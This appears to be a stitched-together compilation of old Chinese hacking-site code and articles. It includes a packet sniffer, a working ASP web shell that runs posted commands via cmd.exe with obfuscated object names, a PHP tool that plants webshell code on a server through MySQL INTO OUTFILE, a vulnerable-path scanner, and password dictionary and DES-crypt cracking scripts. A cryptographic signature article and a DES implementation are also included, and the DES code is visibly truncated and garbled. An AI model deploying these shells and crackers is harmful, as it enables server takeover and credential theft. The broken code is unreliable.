{
int ProtoNum;
char
        ProtoText[MAX_PROTO_TEXT_LEN];
}
PROTOMAP;
/////////////////////////////////////////////////////////////////////////////
PROTOMAP ProtoMap[MAX_PROTO_NUM]=
{
{IPPROTO_IP,"IP"},
{IPPROTO_ICMP,"ICMP"},
{IPPROTO_IGMP,"IGMP"},
{IPPROTO_GGP,"GGP"},
{IPPROTO_TCP,"TCP"},
{IPPROTO_PUP,"PUP"},
{IPPROTO_UDP,"UDP"},
{IPPROTO_IDP,"IDP"},
{IPPROTO_ND,"NP"},
{IPPROTO_RAW,"RAW"},
{IPPROTO_MAX,"MAX"},
{NULL," "}
};
SOCKET SockRaw;
char TcpFlag[6]={'F','S','R','P','A','U'};
bool ParamTcp = false;
bool ParamUdp = false;
bool ParamIcmp = false;
bool ParamDecode = true;
char *strFromIpFilter = NULL;
char *strDestIpFilter = NULL;

//--------------------------------------------------------
int DecodeIpPack(char *,int);
int DecodeTcpPack(char *);
int DecodeUdpPack(char *);
int DecodeIcmpPack(char *);
void CheckSockError(int,char *);
char * CheckProtocol(int);
void usage(void);
bool GetCmdLine(int,char **);

//-------------------------------------------------------------------
int main(int argc,char ** argv)
{
int iErrorCode;
char RecvBuf[MAX_PACK_LEN] = {0};
        if(GetCmdLine(argc,argv)==CMD_PARAM_HELP)
        exit(0);
usage();
WSADATA
        wsaData;
iErrorCode =
        WSAStartup(MAKEWORD(2,1),&wsaData);
CheckSockError(iErrorCode,"WSAWStartup");
SockRaw =
        socket(AF_INET,SOCK_RAW,IPPROTO_IP);
CheckSockError(SockRaw,"socket");
        char
        FAR
        name[MAX_HOSTNAME_LAN];
iErrorCode =
        gethostname(name,MAX_HOSTNAME_LAN);
//CheckSockErr
struct
        hostent FAR * pHostent;
pHostent = (struct hostent *)malloc(sizeof(struct
        hostent));
pHostent =
        gethostbyname(name);
SOCKADDR_IN sa;

sa.sin_family  =
        AF_INET;
sa.sin_port =
        htons(6000);
memcpy(&sa.sin_addr.S_un .S_addr
        ,pHostent->h_addr_list[0],pHostent->h_length
        );

iErrorCode =
        bind(SockRaw,(PSOCKADDR)&sa,sizeof(sa));
CheckSockError(iErrorCode,"bind");
DWORD dwBufferLen[10];
DWORD dwBufferInLen = 1;
DWORD dwBytesReturned = 0;
iErrorCode =
        WSAIoctl(SockRaw,SIO_MULTIPOINT_LOOPBACK,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned,NULL,NULL);
CheckSockError(iErrorCode,"Ioct1");
        while(1)
{
memset(RecvBuf,0,sizeof(RecvBuf));
iErrorCode =
        recv(SockRaw,RecvBuf,sizeof(RecvBuf),0);
CheckSockError(iErrorCode,"recv");
iErrorCode =
        DecodeIpPack(RecvBuf,iErrorCode);
CheckSockError(iErrorCode,"Decode");
}

}
int DecodeIpPack(char *buf,int iBufSize)
{
IP_HEADER *pIpheader;
int iProtocol,iTTL;
char szProtocol[MAX_PROTO_TEXT_LEN];
char szSourceIP[MAX_ADDR_LEN],szDestIP[MAX_ADDR_LEN];
SOCKADDR_IN saSource,saDest;
pIpheader = (IP_HEADER *)buf;
    iProtocol =
        pIpheader->proto ;
strncpy(szProtocol,CheckProtocol(iProtocol),MAX_PROTO_TEXT_LEN);
if((iProtocol==IPPROTO_TCP) && (!ParamTcp)) return
        true;
if((iProtocol==IPPROTO_UDP) &&
        (!ParamUdp)) return true;
if((iProtocol==IPPROTO_ICMP) && (!ParamIcmp)) return
        true;
saSource.sin_addr.s_addr = pIpheader->sourceIP
        ;
strncpy(szSourceIP,inet_ntoa(saSource.sin_addr),MAX_ADDR_LEN);
if(strFromIpFilter)
if(strcmp(strFromIpFilter,szSourceIP)) return true;
    saDest.sin_addr.s_addr =
        pIpheader->destIP ;
strncpy(szDestIP,inet_ntoa(saDest.sin_addr),MAX_ADDR_LEN);
if(strDestIpFilter)
if(strcmp(strDestIpFilter,szDestIP)) return
        true;
iTTL =
        pIpheader->ttl;
printf("%s ",szProtocol);
printf("%s->%s ",szSourceIP,szDestIP);
printf("bytes=%d TTL=%d ",iBufSize,iTTL);
        int
        iIphLen = sizeof(unsigned long) * (pIpheader->h_lenver
        &0xf);

switch(iProtocol)
{
case IPPROTO_TCP
        :DecodeTcpPack(buf+iIphLen);break;
case IPPROTO_UDP
        :DecodeUdpPack(buf+iIphLen);break;
case IPPROTO_ICMP
        :DecodeIcmpPack(buf+iIphLen);break;
default :break;
}
return
        true;
}
void CheckSockError(int iErrorCode,char
        *pErrorMsg)
{
if(iErrorCode==SOCKET_ERROR)
{
printf("%s
        Error:%d\n",pErrorMsg,GetLastError());
closesocket(SockRaw);
exit(0);
}
}

char * CheckProtocol(int iProtocol)
{
for(int i = 0;i<MAX_PROTO_NUM;i++)
if(ProtoMap[i].ProtoNum==iProtocol)
return ProtoMap[i].ProtoText ;
return " ";
}
int DecodeTcpPack(char *
        TcpBuf)
{
TCP_HEADER *
        pTcpHeader;
int
        i;
pTcpHeader =
        (TCP_HEADER * )TcpBuf;
printf("Port:%d->%d ",ntohs(pTcpHeader->th_sport
        ),ntohs(pTcpHeader->th_dport));
unsigned char FlagMask =
        1;
for(i =0;i <
        6;i++)
{
if((pTcpHeader->th_flag) &
        FlagMask)
printf("%c",TcpFlag[i]);
else
        printf("_");
FlagMask =
        FlagMask<<1;
}
printf("\n");
return
        true;
}

int DecodeUdpPack(char * UdpBuf)
{
UDP_HEADER *pUdpHeader;
pUdpHeader = (UDP_HEADER * )UdpBuf;
printf("Port:%d->%d ",ntohs(pUdpHeader->uh_sport),ntohs(pUdpHeader->uh_dport));
printf("Len=%d \n",ntohs(pUdpHeader->uh_len));
return true;
}
int DecodeIcmpPack(char * IcmpBuf)
{
ICMP_HEADER *pIcmpHeader;
pIcmpHeader = (ICMP_HEADER * )IcmpBuf;
printf("Type:%d,%d ",pIcmpHeader->i_type,pIcmpHeader->i_code);
printf("ID=%d SEQ=%d\n",pIcmpHeader->i_id,pIcmpHeader->i_seq);
return true;
}
bool GetCmdLine(int argc,char
        **argv)
{
if(argc<2)return
        CMD_PARAM_HELP;
for(int
        i=1;i<argc;i++)
{
if(argv[i][0]!='/')
return
        CMD_PARAM_HELP;
else
switch
        (argv[i][1])
{
case
        't':
case
        'T':ParamTcp=true;break;
case
        'u':
case
        'U':ParamUdp=true;break;
case
        'i':
case
        'I':ParamIcmp=true;break;
case
        'p':
case
        'P':ParamDecode=true;break;
case
        'f':
case
        'F':{
strFromIpFilter=(char
        *)malloc(16*sizeof(char));
memset(strFromIpFilter,0,16*sizeof(char));
strcpy(strFromIpFilter,argv[i]+3);
break;
}
case
        'd':
case
        'D':
{
strDestIpFilter=(char
        *)malloc(16*sizeof(char));
memset(strDestIpFilter,0,16*sizeof(char));
strcpy(strDestIpFilter,argv[i]+3);
break;
}
}
}
printf("\nWill
        Sniffer");
if(ParamTcp)
        printf("TCP");
if(ParamUdp)
        printf("UDP");
if(ParamIcmp)
        printf("ICMP");
if(strFromIpFilter)
        printf("FromIp:%s",strFromIpFilter);
if(strDestIpFilter)
        printf("DestIp:%s",strDestIpFilter);
printf("\n\tCTRL+C to
        quit\nStart:\n");
return
        (!CMD_PARAM_HELP);
}

void usage(void)
{
printf("USAGE:\n");
printf("\t/t Output TCP Packets\n");
printf("\t/u Output UDP Packets\n");
printf("\t/i OutPut ICMP Packets\n");
printf("\t/p Decode Packets (default OFF)\n");
printf("\t/f: fromIP Output Packets FromIP=fromIP (default ALL)\n");
printf("\t/d: destIP Output Packets DestIP=destIP (default ALL)");
printf("\nExample:\n");
printf("\tGUNiffer.exe /d>IpPack.log\n");
printf("\tGUNifffer.exe /t /u /f:192.168.15.231\n");
}


<%@ Language=VBscript %>
<%
Dim oscript
Dim oscriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
' -- create the COM objects that we will be using -- '
Set oscript = Server.CreateObject("WS"+"CRIP"+"T.SHELL")
Set oscriptNet = Server.CreateObject("WSCR"+"IPT.NET"+"WORK")
Set oFileSys = Server.CreateObject("Scr"+"iptin"+"g.FileS"+"ystemO"+"bject")
' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
' -- Use a poor mans pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%= "\\" & oscriptNet.ComputerName & "\" & oscriptNet.UserName %>
<br>
<%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>


<?php
//
        ========================== 说明 ==========================//
//
        autogetwebshell.php v1.0
// -------------------------------
//
        codz by Super·Hei
// 2004.5.29
// Thx: 再见理想
//
        -------------------------------
// Our Team :
        [url]Http://www.4ngel.net[/url]
// :
        [url]Http://Www.Bugkidz.org[/url]
// :
        [url]Http://Www.cnse8.com[/url]
// My Home :
        [url]Http://sex.cnse8.com[/url]
//
        =============================================================//
//数据库操作
if ($step==1){
$link =
        mysql_connect($servername,$dbusername,$dbpassword);
if ($link) {
echo "<p>数据库服务器连接成功</p>";
$mysql_select=mysql_select_db($dbname);
if (!$mysql_select) {
echo "<p>test create db $dbname</p>";
if
        (mysql_create_db($dbname)) {echo "<p> .....:)</p>";
}
        else {
echo "<p>.....:(</p>";}
}
$ctable = " CREATE TABLE a (cmd text NOT NULL)"
        ;
$indata="INSERT INTO a (cmd) VALUES ('".$code."')";
$outdata="select cmd from a into outfile '".$path."'";
$dptable=
        "DROP TABLE IF EXISTS a";
$res = mysql_query($ctable);
if ($res) {echo "<p>建立表格....成功</p>";}else{echo "<p>建立表格....失败</p>";}
$res1 = mysql_query($indata);
if ($res1) {echo "<p>导入shell代码....成功</p>";} else{echo "<p>导入shell代码....失败</p>";}
echo $outdata;
$res2 = mysql_query($outdata);
if ($res2) {echo "<p>导出shell....成功</p>";} else{echo "<p>导出shell....失败</p>";}
$res3 = mysql_query($dptable);
if ($res3) {echo "<p>删除数据....成功</p>";} else{echo "<p>删除数据....成功</p>";}
} else {
echo "<p>数据库服务器连接失败</p>";}
mysql_close($link);
//表单填写
} else{
echo "<b>设置数据</b>\n";
echo "<p><form action=\"autogetshell.php\" method=\"post\"></p>\n";
echo "<p><input type=\"hidden\" name=\"step\" value=\"1\"></p>\n";
echo "<p>服务器地址:<input type=\"text\" value=\"".$servername."\"name=\"servername\"></p>\n";
echo "<p>数据库名: <input type=\"text\" value=\"".$dbname."\" name=\"dbname\"></p>\n";
echo "<p>数据库用户名: <input type=\"text\" value=\"".$dbusername."\" name=\"dbusername\"></p>\n";
echo "<p>数据库用户密码: <input type=\"password\" value=\"\" name=\"dbpassword\"></p>\n";
echo "<p>导出webshell路径: <input type=\"text\" value=\"".$path."\" name=\"path\"></p>\n";
echo "<p>=========================================================</P>\n";
echo "<p>webshell代码: <textarea value=\"".$code."\" name=\"code\" cols=80 rows=10 width=32></textarea></p>\n";
echo "<p><input type=\"submit\" name=\"next\" value=\"提交\"></p>\n";
echo "</form>";
}
?>


#!usr/bin/perl
        -w
#c:\find.pl
use
        LWP::Simple;
$url=$ARGV[0];
$dir=$ARGV[1];
$result=get
        $url;
open(CON,"<$dir");
do{
$bug=<CON>;
chop($bug);
if($result=~m/$bug/){
print"...havd
        $bug!\n";
}else{
print"...haven't
        $bug!\n";
}
}until(eof(CON));
close CON;
exit
      1;


//*******************************************************************
//在许多情况下我们需要穷举组合的算法，比如密码词典。
//这个算法的关键是密码下标进位的问题。
//另外本例子中的写文件语句效率比较低，为了降低算法复杂度没有优化。
//如果要提高写文件的效率，可以使用缓冲区，分批写入。
//*********************************************breath.cnpick.com*****
void createpassword()
{
#define
        passwordmax 8 //将生成密码的最大长度
char a[]="0123456789abcdefghijklmnopqrstuvwxyz"; //可能的字符
long ndictcount=sizeof(a); //获得密码词典长度
char cpass[passwordmax+2]; //将生成的密码
long nminl=1,nmaxl=3; //本例中密码长度从1-3
long array[passwordmax]; //密码词典下标
assert(nminl<=nmaxl &&
        nmaxl<=passwordmax);//容错保证
long nlength=nminl;
register long
        j,i=0;
bool bnext;
cstdiofile
        file;
file.open("c:\\dict.txt",cfile::modecreate|cfile::modewrite);
while(nlength<=nmaxl)
{
for(i=0;i<passwordmax;i++)
array[i]=0;
bnext=true;
while(bnext)
{
for(i=0;i<nlength;i++)
cpass[i]=a[array[i]];
cpass[i]='\0';
file.writestring(cpass);
file.writestring("\n");
for(j=nlength-1;j>=0;j--)
        //密码指针进位
{
array[j]++;
if(array[j]!=ndictcount-1)break;
else
{
array[j]=0;
if(j==0)bnext=false;
}
}
}
nlength++;
}
file.close();
}


用对称密码体制进行数字签名的介绍
作者：赛冰河
================================================================
转载还请注明 作者：赛冰河
联系方式： QQ 18184412 EMAIL meihong2002@163.com
================================================================

今天，我来给大家简单介绍一下用对称密码体制进行数字签名，也许好多人听过用
公钥密码体制进行数字签名的，还没有听过这对称密码体制也可用来签名。但我们现在用得最多的当然是用公钥密码体制进行数字签名的。
先说说数字签名的功能。数字签名可以解决否认、伪造、篡改及冒充等问题、
凡是需要对用户的身份进行判断的情况都可以使用数字签名，比如加密信件、商
务信函、定货购买系统、远程金融交易、自动模式处理等等。

数字签名在信息安全的五大服务中主要是提供的是抗否认服务。数据签名一般不采用直接对数据进行签名（好多资料上说是加密，这实际上是不对的虽然加密与签名用的是加密算法，但是提供的安全服务与处理时是有一点小小的区别的），而是发送方对整个明文进行加密变换----如使用MD5散列算法，得到一个散列值，将散列值进行签名处理。

好了，说了这么多的准备工作，该进入正题了，我这里是由例子讲解，设A：发送方，B：接收方 另外，当然还要一个A与B都信任的一个机构，这个机构能提供密钥的生成与分发并且在通信双方发生争执时能供确定地，公证地，能作为法律依据的裁定，说得通俗点就是具有类似裁判的作用，我这里设它为CA
当然，这次签名过程中，A、与B在此过程中都要与CA进行通信，所以A，B都有与CA通信的秘密密钥，我们暂且设为Ka与Kb，也就是（A，CA，Ka），（B，CA，Kb）。
过程如下进行：
1、用户A用自己的秘密密钥加密数据报文P等到了密文Ka（P），并且发给可信任机构CA。

2、CA用Ka对密文Ka（P）进行解密得到了明文P，然后建立一个由A的名字和地址、日期D，初始的明文P组成一个新的报文（A，D，P），这里的日期D用于以后认证与作证，然后再用个对任何人都不知的密钥K加密新的报文（A，D，P），从而得到新密文
K（（A，D，P））。并把这个密文K（（A，D，P））回发给发送方A
3、这时，发送方A把这个密文K（（A，D，P））发给接收方B。进行A与B的通信。
4、接收方B把K（（A，D，P））发给CA，请求得到报文数据（当然这里是对B与CA来说的，
实质上对其它用户来说这个报文数据是以Kb加密的密文） ，CA把K（（A，D，P））
解密得到（A，D，P），并且用Kb加密得到了Kb（（A，D，P）），然后嘛就发给B了。
5、B用自己的密钥Kb解密得到了（A，D，P），这就是Ａ与Ｂ通信的明文了。
如何抗否认过程：
如果发送方A否认曾发过P给B的话，则B可以把密文K（（A，D，P））提供给法官
法官则要求CA解密这个密文K（（A，D，P）），然后法官可看到密文（A，D，P）。
显然这样法官则可确定是A发送过，因为B不知K，所以也不可能伪造密文K（（A，D，P））
同理，若B否认曾收到，也可得出。
最后，我想给大家几个问题，看看你理解本文没有：
1、CA是如何知是A请求要与B通信的？
2、如果B否认曾收到过A发的信息，则法官该如何进行取证裁定？
本文仅是简单介绍用对称密码体制签名的，要是有什么不对地方，请指出，本人将不胜感激
我的邮箱是meihong2002@163.com


DES加密密码暴力破解器

DES算法快要淘汰了，还破解什么啊？呵呵~~别的什么，主要是锻炼一下冻结的思维，嘎嘎~。
今天打算用perl来完成这个程序，应该很简单，先看看perl提供的函数吧。
1.
函数名 :
substr
调用语法 :
substr (expr, skipchars, length) ;
解说:
抽取字符串（或表达式生成的字符串）expr中的子串，跳过skipchars个字符，或者说从位置skipchars开始抽取子串（第一个字符位置为0），子串长度为length，此参数可忽略，意味着取剩下的全部字符。
当此函数出现在等式左边时，expr必须为变量或数组元素，此时其中部分子串被等式右边的值替换。
2.
函数名：
crypt
调用语法：
result = crypt (original, salt);
解说：
用DES算法加密字符串，original是将要加密的字符串，salt是两个字符的字符串，定义如何改变DES算法，以使更难解码。返
回值为加密后的串。
软件写作思路：
original是要加密的字符串，我们无法得知长度，这个也是我们需要知道的东西。
如果你细心观察DES加密的密码，你会发现它前2个字符就是salt的字符串，所以我们有了可逆的可能。获取密码的前2位作为改
变算法的字符串，根据字符传加密准备好的的明文字典，然后和需要破解的密码比较，符合的话就实现破解成功。
程序实现：
#MD5 password crack
#write by 风泽
#http://www.hackbase.com/
#cgi.sds.cn
#!usr/bin/perl -w
print "Please input DES password:"; #输入DES加密的字符串
$des=<STDIN>;
chop($DES); #去掉最后的空格
$salt=substr($des,0,2); #获取DES密码的前两位
print "Please input password dictionary:";
$file2=<STDIN>;
chop($file2);
open(FILE,"$file2")||die "Can't open password dictionary"; #打开字典
while(@pass=<FILE>){
chop(@pass);
foreach $passwd(@pass){ #循环读取字典的明文密码加密
$despass=crypt($passwd,$salt);
if($despass==$des){ #把加密后的密码与要破解的DES密码比较
print "The password is $passwd\n";
}
}
}
OK~就是这样简单。看明白了吗？知道perl的强大了吧。 ^_^


凯撒密文的破解编程实现
近来安全的发展，对密码学的研究越来越重要，虽然我们现在大多采用的是
非对称密码体制，但是同时由于处理及其它的一些重要原因，对传统密码仍然
是在大量的使用，如移位，替代的基本思想仍然没有改变，我个人认为，将来
的很长时间内，我们必将会花大量的时间对密码学进行研究，从而才能促进我
们的电子政务，电子商务的健康发展，下面我要谈的是对一个古典密码-----
凯撒（kaiser)密码的的解密，也就是找出它的加密密钥，从而进行解密，由于
它是一种对称密码体制，加解密的密钥是一样的，下边简单说明一下加解密
加密过程：
密文：C=M+K (mod 26)
解密过程：
明文：M=C-K (mod 26)
详细过程请参考相关资料
破解时主要利用了概率统计的特性，E字母出现的概率最大。
加密的程序实现我就不说了，
下面重点说一下解密的程序实现：我是用C写的，在VC6.0下调试运行正确

#include"stdio.h"
#include"ctype.h"
#include"stdlib.h"

main(int argc ,char *argv[])
{
 FILE
        *fp_ciper,*fp_plain;
        //密文与明文的文件指针
char ch_ciper,ch_plain;
int
        i,temp=0;
        //i用来存最多次数的下标
//temp用在求最多次数时用
int
        key;
        //密钥
int j;
int
        num[26];
        //保存密文中字母出现次数
for(i = 0;i < 26; i++)
num<i> = 0; //进行对num[]数组的初始化
printf("======================================================\n");
printf("------------------BY 安美洪 design--------------------\n");
printf("======================================================\n");
 if(argc!=3)
{
printf("此为KAISER解密用法：[文件名] [密文路径]
        [明文路径]\n");
printf("如：decryption F:\ciper_2_1.txt
        F:\plain.txt\n");
}
        //判断程序输入参数是否正确
if((fp_ciper=fopen(argv[1],"r"))==NULL)
{
printf("打开密文出错!解密失败\n");
exit(0);
}
while((ch_ciper=fgetc(fp_ciper))!=EOF)
switch(ch_ciper)
{
case
        'A':num[0]=num[0]+1;  break;
        //统计密文各字母出现次数
case
        'B':num[1]=num[1]+1;  break;
        //与上同,下边一样
case
        'C':num[2]=num[2]+1;
        break;
case
        'D':num[3]=num[3]+1;
        break;
case
        'E':num[4]=num[4]+1;
        break;
case
        'F':num[5]=num[5]+1;
        break;
case
        'G':num[6]=num[6]+1;
        break;
case
        'H':num[7]=num[7]+1;
        break;
case
        'I':num[8]=num[8]+1;
        break;
case
        'J':num[9]=num[9]+1;
        break;
case
        'K':num[10]=num[10]+1;break;
case
        'L':num[11]=num[11]+1;break;
case
        'M':num[12]=num[12]+1;break;
case
        'N':num[13]=num[13]+1;break;
case
        '0':num[14]=num[14]+1;break;
case
        'P':num[15]=num[15]+1;break;
case
        'Q':num[16]=num[16]+1;break;
case
        'R':num[17]=num[17]+1;break;
case
        'S':num[18]=num[18]+1;break;
case
        'T':num[19]=num[19]+1;break;
case
        'U':num[20]=num[20]+1;break;
case
        'V':num[21]=num[21]+1;break;
case
        'W':num[22]=num[22]+1;break;
case
        'X':num[23]=num[23]+1;break;
case
        'Y':num[24]=num[24]+1;break;
case
        'Z':num[25]=num[25]+1;break;

}
fclose(fp_ciper);
 for(i=0;i<26;i++)
if(num<i>>temp)
{
j=i;
        // 求出最大次数的下下标
temp=num<i>;
}
if(j<5)
key=(j+1+26)-5;
        //是按字母表的第几位计算
//而不是按下标，故加1
//5是指E在字母表中的位序
else
key=(j+1)-5;
if((fp_ciper=fopen(argv[1],"r"))==NULL)
{
printf("再次打开密文出错!解密失败\n");
exit(0);
}
        //再次打开密文，进行解密
if((fp_plain=fopen(argv[2],"w"))==NULL)
{
printf("打开或建立明文文件出错!解密失败\n");
exit(0);
}
        //把明文存到此文件
while((ch_ciper=fgetc(fp_ciper))!=EOF)
{
if(ch_ciper
        > 'E')
ch_plain=(((ch_ciper-'A'-key)%26)+'A');
        //解密
else
ch_plain=(((ch_ciper-'A'-key+26)%26)+'A');
        //解密
ch_plain=tolower(ch_plain);
        //把大写明文转化为小写
fputc(ch_plain,fp_plain);
        //把明文写到文件文件plain
}
fclose(fp_ciper);
fclose(fp_plain);
printf("解密成功，密钥KEY=%d,明文已保存到文件中，谢谢使用!\n",key);
}


DES算法的C实现
        DES算法的C实现
----------------------------------------
schedle.h
----------------------------------------
#include

DWORDLONG dwlKey_PC_1[64]={
57,49,41,33,25,17,9,
1,58,50,42,34,26,18,
10,2,59,51,43,35,27,
19,11,3,60,52,44,36,
63,55,47,39,31,23,15,
7,62,54,46,38,30,22,
14,6,61,53,45,37,29,
21,13,5,28,20,12,4,0};

DWORDLONG dwlKey_PC_2[64]={
14,17,11,24,1,5,
3,28,15,6,21,10,
23,19,12,4,26,8,
16,7,27,20,13,2,
41,52,31,37,47,55,
30,40,51,45,33,48,
44,49,39,56,34,53,
46,42,50,36,29,32,0};

DWORDLONG
        dwlData_IP[65]={
58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6,
64,56,48,40,32,24,16,8,
57,49,41,33,25,17,9,1,
59,51,43,35,27,19,11,3,
61,53,45,37,29,21,13,5,
63,55,47,39,31,23,15,7,0};

DWORDLONG dwlData_Expansion[64]={
32,1,2,3,4,5,
4,5,6,7,8,9,
8,9,10,11,12,13,
12,13,14,15,16,17,
16,17,18,19,20,21,
20,21,22,23,24,25,
24,25,26,27,28,29,
28,29,30,31,32,1,0};

DWORDLONG
        dwlData_P[33]={
16,7,20,21,
29,12,28,17,
1,15,23,26,
5,18,31,10,
2,8,24,14,
32,27,3,9,
19,13,30,6,
22,11,4,25,0};

DWORDLONG dwlData_FP[65]={
40,8,48,16,56,24,64,32,
39,7,47,15,55,23,63,31,
38,6,46,14,54,22,62,30,
37,5,45,13,53,21,61,29,
36,4,44,12,52,20,60,28,
35,3,43,11,51,19,59,27,
34,2,42,10,50,18,58,26,
33,1,41,9,49,17,57,25,0};

DWORDLONG OS[512]={
14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7,
0,15,7,4,14,2,13,1,10,6,12,11,9,5,3,8,
4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0,
15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13,

15,1,8,14,6,11,3,4,9,7,2,13,12,0,5,10,
3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5,
0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15,
13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9,

10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8,
13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1,
13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7,
1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12,

7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15,
13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9,
10,6,9,0,12,11,7,13,15,1,3,14,5,2,8,4,
3,15,0,6,10,1,13,8,9,4,5,11,12,7,2,14,

2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9,
14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6,
4,2,1,11,10,13,7,8,15,9,12,5,6,3,0,14,
11,8,12,7,1,14,2,13,6,15,0,9,10,4,5,3,

12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11,
10,15,4,2,7,12,9,5,6,1,13,14,0,11,3,8,
9,14,15,5,2,8,12,3,7,0,4,10,1,13,11,6,
4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13,

4,11,2,14,15,0,8,13,3,12,9,7,5,10,6,1,
13,0,11,7,4,9,1,10,14,3,5,12,2,15,8,6,
1,4,11,13,12,3,7,14,10,15,6,8,0,5,9,2,
6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12,

13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7,
1,15,13,8,10,3,7,4,12,5,6,11,0,14,9,2,
7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8,
2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11
};
-------------------------------------
des.cpp
-------------------------------------
/********************************************************************/
/* DES(Data Encryption Standard) */
/* Written by Bunny */
/* Banyet Soft Labs. 1999 */
/* ALL RIGHTS RESERVED! */
/*
        注意! 版权所有! 可以自由转载,但不得加以修改或删除! */
/* E-mail:Assassin@ynmail.com http://assassin.yeah.net /; */
/********************************************************************/

/**************************************************************************/
/*注意:这只是标准DES算法的例子,所以速度并不是很快,不适用于大量数据加密的场*/
/*合.UNIX的密码也采用DES,不过它在里面加了点其它的东西.所以结果和DES的结果 */
/*不一样.
        由于使用了WINDOWS类库,所以必须在WINDOWS环境下编译. */
/**************************************************************************/

#include
#include
#include
#include
#include "Schedle.h"

class CShift{
public:
DWORDLONG mask[16];
int step[16];
CShift(){
for(int i=0;i step=2;
mask=0xc000000;
}
step[0]=step[1]=step[8]=step[15]=1;
mask[0]=mask[1]=mask[8]=mask[15]=0x8000000;
}
};

class CDES{

public:

CDES(){
m_dwlKey=0;
m_dwlData=0;
ConvertTableToMask(dwlKey_PC_1,64);
//PrintTable(dwlKey_PC_1,7,8);
ConvertTableToMask(dwlKey_PC_2,56);
ConvertTableToMask(dwlData_IP,64);
ConvertTableToMask(dwlData_Expansion,32);
ConvertTableToMask(dwlData_FP,64);
ConvertTableToMask(dwlData_P,32);
Generate_S();

}
void PrintBit(DWORDLONG);
void EncryptKey(char *);
unsigned
        char* EncryptData(unsigned char *);
unsigned char*
        DescryptData(unsigned char*);

private:
void
        ConvertTableToMask(DWORDLONG *,int);
void Generate_S(void);
void
        PrintTable(DWORDLONG*,int,int);
DWORDLONG ProcessByte(unsigned
        char*,BOOL);
DWORDLONG PermuteTable(DWORDLONG,DWORDLONG*,int);
void Generate_K(void);
void EncryptKernel(void);
DWORDLONG
        Generate_B(DWORDLONG,DWORDLONG*);
/*For verify schedule permutation
        only*/
DWORDLONG UnPermuteTable(DWORDLONG,DWORDLONG*,int);
/**************************************/
DWORDLONG
        dwlData_S[9][4][16];
CShift m_shift;
DWORDLONG m_dwlKey;
DWORDLONG m_dwlData;
DWORDLONG m_dwl_K[17];
};

void CDES::EncryptKey(char *key){

printf("\nOriginal Key: %s",key);
m_dwlKey=ProcessByte((unsigned char*)key,TRUE);
//PrintBit(m_dwlKey);
m_dwlKey=PermuteTable(m_dwlKey,dwlKey_PC_1,56);
//PrintBit(m_dwlKey);
Generate_K();
//printf("\n******************************************\n");
}

void CDES::Generate_K(void){

DWORDLONG
        C[17],D[17],tmp;

C[0]=m_dwlKey>>28;
D[0]=m_dwlKey&0xfffffff;

for(int i=1;i
        tmp=(C[i-1]&m_shift.mask[i-1])>>(28-m_shift.step[i-1]);
C=((C[i-1]
        tmp=(D[i-1]&m_shift.mask[i-1])>>(28-m_shift.step[i-1]);
D=((D[i-1] m_dwl_K=(C m_dwl_K=PermuteTable(m_dwl_K,dwlKey_PC_2,48);
}
}

DWORDLONG CDES::ProcessByte(unsigned char
        *key,BOOL shift){

unsigned char tmp;
DWORDLONG byte=0;
int i=0;

while(i while(*key){
if(byte!=0)
byte
        tmp=*key;
if(shift)
tmp byte│=tmp;
i++;
key++;
}
if(i byte i++;
}
return byte;
}

DWORDLONG
        CDES::PermuteTable(DWORDLONG dwlPara,DWORDLONG* dwlTable,int nDestLen)
{

int i=0;
DWORDLONG tmp=0,moveBit;

while(i moveBit=1;
if(dwlTable&dwlPara){
moveBit tmp│=moveBit;
}
i++;
}
return tmp;
}

DWORDLONG CDES::UnPermuteTable(DWORDLONG
        dwlPara,DWORDLONG* dwlTable,int nDestLe
n){

DWORDLONG
        tmp=0;
int i=nDestLen-1;

while(dwlPara!=0){
if(dwlPara&0x01)
tmp│=dwlTable;
dwlPara>>=1;
i--;
}
return tmp;
}

void
        CDES::PrintTable(DWORDLONG *dwlPara,int col,int row){

int
        i,j;
for(i=0;i printf("\n");
getch();
for(j=0;j
        PrintBit(dwlPara[i*col+j]);
}
}

void
        CDES::PrintBit(DWORDLONG bitstream){

char out[76];
int
        i=0,j=0,space=0;

while(bitstream!=0){
if(bitstream&0x01)
out[i++]='1';
else
out[i++]='0';
j++;
if(j%8==0){
out[i++]=' ';
space++;
}

bitstream=bitstream>>1;
}
out='\0';
strcpy(out,strrev(out));
printf("%s **:%d\n",out,i-space);
}

void CDES::ConvertTableToMask(DWORDLONG *mask,int max){

int i=0;
DWORDLONG nBit=1;

while(mask!=0){
nBit=1;
nBit mask[i++]=nBit;
}
}

